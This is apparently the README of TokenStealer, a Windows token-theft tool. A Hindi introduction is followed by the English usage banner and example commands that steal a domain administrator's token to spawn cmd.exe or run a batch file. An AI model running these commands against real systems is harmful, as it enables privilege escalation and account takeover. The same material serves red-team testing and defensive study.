
विंडोज़ टोकन हेरफेर उपयोगिता जो प्रोसेस या उपयोगकर्ता टोकन को सूचीबद्ध करती है, चुराती है और प्रतिरूपित करती है, ताकि SeImpersonate और SeAssignPrimary विशेषाधिकारों का लाभ उठाकर अन्य उपयोगकर्ताओं के रूप में कमांड निष्पादित किए जा सकें।
यह एक सरल टूल है जो मैंने कुछ समय पहले Windows टोकन चुराने और उनके साथ प्रयोग करने के लिए लिखा था।
कोड के कुछ हिस्से https://github.com/FSecureLABS/incognito से लिए और अनुकूलित (adapted) किए गए हैं।
स्पष्ट रूप से, सभी प्रोसेस तक पहुँचने के लिए आपको Impersonation या AssignPrimary privilege और Debug privilege की आवश्यकता होगी।
आमतौर पर, आप इस टूल को उच्चतम स्थानीय विशेषाधिकारों के साथ चलाएँगे, जैसे कि SYSTEM।
TokenStealer.exe
[+] My personal simple and stupid Token Stealer... ;)
[+] v1.0 @decoder_it 2023
[!] Usage:
-l: list all user's token
-e: list all user's token with extended info -> [user]:[token_level (2)=Impersonation, (3)=Delegation,(P)=Primary>]:[pid]:[SessionId]
-p: <pid> list/steal token from specfic process pid
-u: <user> list/steal token of user
-c: <command> command to execute with token
-t: force use of impersonation Privilege
-b: <token level> needed token type: 1=Primary,2=Impersonation,3=Delegation
-s: <SessionId> list/steal token from specific Session ID
=Examples=
TokenStealer.exe -e -b 1
-> list all primary tokens
TokenStealer.exe -l -p 100
-> list all tokens in process pid 100
TokenStealer.exe -u MYDOMAIN\administrator -c c:\windows\system32\cmd.exe
-> steal token of the user and execute an interactive command shell using the AssingPrimary privilege if available
TokenStealer.exe -u MYDOMAIN\administrator -c c:\windows\system32\bind.bat -p 100 -t
-> steal token of the user in process 100 and execute the batch file using Impersonation privilege instead of AssingPrimary
TokenStealer.exe -u MYDOMAIN\administrator -c c:\windows\system32\cmd.exe -b 1
-> steal a primary token of the user and execute an interactive command shell using the AssingPrimary privilege if available
TokenStealer.exe -u MYDOMAIN\administrator -c c:\windows\system32\cmd.exe -s 2
-> steal a token of the user in specific SessionID and execute an interactive command shell using the AssingPrimary privilege if available